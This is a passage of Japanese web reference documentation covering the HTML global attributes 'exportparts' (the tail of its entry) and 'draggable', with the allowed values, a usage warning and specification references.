`exportparts` 属性は *シャドウホスト*、すなわち *シャドウツリー* が装着されている要素に配置しなければなりません。値はシャドウツリーに存在している部品名のカンマ区切りのリストで、これらが現在の構造体の外側の DOM から利用できるようになります。

仕様書
---

| Specification |
| --- |
| CSS Shadow Parts # element-attrdef-html-global-exportparts |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
draggable
=========

**draggable** グローバル属性 は列挙型属性で、要素がブラウザーの既定の動作と HTML ドラッグ＆ドロップ APIのどちらの動作でドラッグできるかを示します。

`draggable` 属性は、厳密には HTML 名前空間に属する要素に適用することができ、これは SVG には適用できないことを意味します。
 名前空間宣言がどのようなもので、何をするのかについては、名前空間の速修講座を参照してください。

`draggable` は以下の値を取ることができます。

* `true`: 要素がドラッグ可能であることを示す
* `false`: 要素はドラッグ不可であることを示す

**警告:** この属性は *列挙型* であり、*論理属性* ではありません。 `true` または `false` の値が必須であり、 `<img draggable>` のような省略形は認められません。正しい使用法は `<img draggable="false">` です。

この属性が設定されなかった場合の既定値は `auto` であり、ブラウザーの既定のドラッグ動作であることを意味します。テキストの選択範囲、画像、リンクのみがドラッグ可能です。他の要素でドラッグ＆ドロップできるようにするためには `ondragstart` イベントを設定する必要があります（こちらの包括的なサンプルにあるように）。

仕様書
---

| Specification |
| --- |
| HTML Standard # the-draggable-attribute |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべての グローバル属性。